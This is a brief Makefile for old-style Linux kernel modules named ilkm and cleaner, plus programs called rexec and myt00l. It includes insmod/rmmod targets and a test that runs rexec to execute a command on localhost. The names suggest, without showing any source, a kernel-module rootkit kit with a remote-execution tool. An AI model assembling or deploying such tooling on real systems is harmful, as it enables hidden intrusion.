MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS
CFLAGS = -Wall -O2
MODCFLAGS = -Wstrict-prototypes -fomit-frame-pointer -pipe -fno-strength-reduce -malign-loops=2 -malign-jumps=2 -malign-functions=2 -include /usr/src/linux/include/linux/modversions.h -I/usr/src/linux/include

all:		ilkm myt00l rexec cleaner 
save:
	cp ilkm.c /tmp/ilkm.c.`date +%T`
	cp rexec.c /tmp/rexec.c.`date +%T`
	cp Makefile /tmp/makefile.`date +%T`

ilkm:		ilkm.c
		$(CC) $(CFLAGS) $(MODCFLAGS) -c ilkm.c -o ilkm.o $(MODDEFS)

cleaner:	cleaner.c
		$(CC) $(CFLAGS) $(MODCFLAGS) -c cleaner.c -o cleaner.o $(MODDEFS)

on:
		insmod ilkm.o
off:
		rmmod ilkm

rexec:		rexec.c	
		$(CC) $(CFLAGS) -o rexec rexec.c 

myt00l:		myt00l.c
		$(CC) $(CFLAGS) -o myt00l myt00l.c

clean:
		rm -f ilkm.o rexec myt00l cleaner.o 

make test:
	./rexec localhost localhost /bin/touch /tmp/bla
